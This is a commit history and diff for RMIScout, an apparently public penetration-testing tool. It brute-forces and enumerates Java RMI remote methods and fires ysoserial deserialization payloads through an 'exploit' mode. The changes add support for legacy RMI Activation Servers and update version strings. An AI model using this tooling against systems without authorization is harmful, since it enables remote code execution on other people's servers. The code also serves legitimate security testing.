3 Commits
Author SHA1 Message Date
Jake Miller bf05aa1709 v1.01 2020-06-11 12:40:50 -04:00
Jake Miller f2ea8cb5f5 Added RMI Activation Server support
RMI Activation is a deprecated part of the RMI subsystem. But, there
may be some users who still encounter these old servers. Adding support
through the --activation-server. Detection is added, as well. Fixes #3
2020-06-11 11:14:53 -04:00
Jake Miller 831d81bff1 Fix retrieval remote reg interface name 2020-06-10 17:38:56 -04:00
5 changed files with 84 additions and 21 deletions

No files matched your search

+3 -3
View File
@@ -51,7 +51,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
```
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
@@ -68,7 +68,7 @@ Read a [full technical writeup here](https://know.bishopfox.com/research/rmiscou
Use the included `rmiscout.sh` script to automatically build the project and as a convenient wrapper around `java -jar` syntax:
```bash
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
```
Alternatively, build the project manually and use traditional `java -jar` syntax:
@@ -77,7 +77,7 @@ Alternatively, build the project manually and use traditional `java -jar` syntax
# Manually build JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar wordlist -i prototypes.txt <host> <port>
java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
```
+1 -1
View File
@@ -5,7 +5,7 @@ plugins {
}
group 'com.bishopfox.rmiscout'
version '1.0-SNAPSHOT'
version '1.01-SNAPSHOT'
mainClassName = 'com.bishopfox.rmiscout.RMIScout'
+2 -2
View File
@@ -1,6 +1,6 @@
#!/bin/bash
if [[ ! -f build/libs/rmiscout-1.0-SNAPSHOT-all.jar ]]; then
if [[ ! -f build/libs/rmiscout-1.01-SNAPSHOT-all.jar ]]; then
./gradlew shadowJar
fi
java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar "$@"
java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar "$@"
@@ -1,11 +1,11 @@
package com.bishopfox.rmiscout;
import javassist.*;
import javassist.Modifier;
import javassist.bytecode.DuplicateMemberException;
import sun.misc.Unsafe;
import ysoserial.payloads.ObjectPayload;
import java.io.*;
import java.lang.reflect.*;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
@@ -23,6 +23,7 @@ public class RMIConnector {
private boolean allowUnsafe;
private Class dummyClass;
private static final int parameterTypesOffset = 52;
private boolean isActivationServer;
private static class Colors {
@@ -49,9 +50,11 @@ public class RMIConnector {
}
@SuppressWarnings("unchecked")
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe) {
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
try {
this.allowUnsafe = allowUnsafe;
this.isActivationServer = isActivationServer;
this.registry = LocateRegistry.getRegistry(host, port);
this.remoteRefs = new HashMap<>();
@@ -76,17 +79,60 @@ public class RMIConnector {
// For each registry create interface bound with test methods
for (String regName : regNames) {
CtClass nInterface = defaultClassPool.makeInterface(regName, remoteInterface);
// Get remote interface name from exception
String interfaceName = "";
try {
registry.lookup(regName);
} catch (UnmarshalException e) {
if (e.detail instanceof ClassNotFoundException) {
interfaceName = e.detail.getMessage().split(" ")[0];
} else {
System.err.println("Error retrieving remote interface className for name '" + regName + "'");
System.exit(1);
}
}
String stubName = "";
if (isActivationServer) {
stubName = interfaceName;
interfaceName = "ActivationStub";
}
CtClass nInterface = defaultClassPool.makeInterface(interfaceName, remoteInterface);
generateStubs(nInterface, signatures);
if (isActivationServer) {
// Example ActivationStub
//
// All stubs have same hardcoded serialVersionUID = 2; https://bugs.openjdk.java.net/browse/JDK-4066716
//
// public class MyClass_Stub extends RemoteStub implements Remote
// {
// private static final long serialVersionUID = 2L;
// }
CtClass activationStub = defaultClassPool.makeClass(stubName, defaultClassPool.getCtClass(RemoteStub.class.getName()));
activationStub.setInterfaces(new CtClass[]{nInterface});
CtField f = new CtField(CtPrimitiveType.longType, "serialVersionUID", activationStub);
f.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
activationStub.addField(f, CtField.Initializer.constant(2L));
activationStub.toClass(customClassLoader);
}
originalClassLoader = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(customClassLoader);
this.remoteRefs.put(regName, registry.lookup(regName));
this.remoteRefs.put(interfaceName, registry.lookup(regName));
}
} catch (RemoteException e) {
System.err.println(e.getMessage());
if (e.getMessage().contains("class invalid for deserialization")) {
System.err.println("RMI Activation Server detected. Re-run with --activation-server");
} else {
System.err.println(e.getMessage());
}
System.exit(1);
} catch (Exception e) {
e.printStackTrace();
@@ -230,9 +276,19 @@ public class RMIConnector {
Arrays.fill(fakeParameterTypes, payload.getClass());
// Bypass internal call flow for custom params
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
RemoteObjectInvocationHandler ref = (RemoteObjectInvocationHandler) f.get(stub);
RemoteRef ref = null;
if (this.isActivationServer) {
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
ref = (RemoteRef) f.get(stub);
} else {
Field f = Proxy.class.getDeclaredField("h");
f.setAccessible(true);
ref = ((RemoteObjectInvocationHandler) f.get(stub)).getRef();
}
// Calculate MethodHash
Method m = RemoteObjectInvocationHandler.class.getDeclaredMethod("getMethodHash", Method.class);
@@ -254,7 +310,7 @@ public class RMIConnector {
}
// Invoke remote method
Object response = ref.getRef().invoke(stub, me, params, methodHash);
Object response = ref.invoke(stub, me, params, methodHash);
// This next line should only occur when allowUnsafe or when launching exploits
System.out.println("Executed Payload: " + methodSignature);
@@ -306,6 +362,10 @@ public class RMIConnector {
try {
CtClass ctClass = defaultClassPool.getCtClass(registryName);
ctClass.detach();
if (this.isActivationServer) {
defaultClassPool.getCtClass(pair.getValue().getClass().getName()).detach();
}
} catch (NotFoundException e) {
e.printStackTrace();
}
@@ -90,11 +90,14 @@ public class RMIScout {
wordlistMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
wordlistMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
wordlistMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
wordlistMode.addArgument("-n", "--registry-name").help(registryHelp);
wordlistMode.addArgument("host").help(hostHelp);
wordlistMode.addArgument("port").type(Integer.class).help(portHelp);
bruteforceMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of candidate method names");
bruteforceMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
bruteforceMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
bruteforceMode.addArgument("-r", "--return-types").required(true).help("Set of candidate return types");
bruteforceMode.addArgument("-p", "--parameter-types").required(true).help("Set of candidate parameter types");
bruteforceMode.addArgument("-l", "--parameter-length").required(true).help("Candidate parameter length range expressed as a comma-delimited range EX: 1,4");
@@ -128,7 +131,7 @@ public class RMIScout {
// Split by types
HashMap<String, ArrayList<String>> sigMap = readFileToMap(ns.get("input"));
for (Map.Entry<String, ArrayList<String>> entry : sigMap.entrySet()) {
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"));
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"), ns.get("activation_server"));
}
break;
case "bruteforce":
@@ -150,7 +153,7 @@ public class RMIScout {
// Java Interfaces disallow different return types for otherwise identical prototypes
for (int i = 0; i < returnTypes.length; i++) {
signatures = generateMethods(ns.get("input"), returnTypes[i], paramRange, paramTypes);
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, ns.get("allow_unsafe"), ns.get("activation_server"));
}
break;
case "exploit":
@@ -158,7 +161,7 @@ public class RMIScout {
signatures = new ArrayList<>();
signatures.add(ns.get("signature"));
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
rmisearch.exploit(ns.get("payload"), ns.get("command"));
rmisearch.cleanup();
break;
@@ -171,7 +174,7 @@ public class RMIScout {
GadgetProbe gp = new GadgetProbe(ns.get("dns_endpoint"));
List<String> classnames = readFileToList(ns.get("input"));
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
for (String classname : classnames) {
rmisearch.execute(gp.getObject(classname));
}
@@ -184,13 +187,13 @@ public class RMIScout {
}
}
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe) {
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
// Perform batches of 1,000 dynamic methods to not exceed codesize limit of Proxy interface
final int batch_size = 1000;
for (int i = 0; i < (signatures.size()/batch_size)+1; i++) {
int lower = i*batch_size;
int upper = Integer.min(signatures.size(), (i+1)*batch_size);
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe);
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe, isActivationServer);
rmisearch.checkIfPresent();
rmisearch.cleanup();
}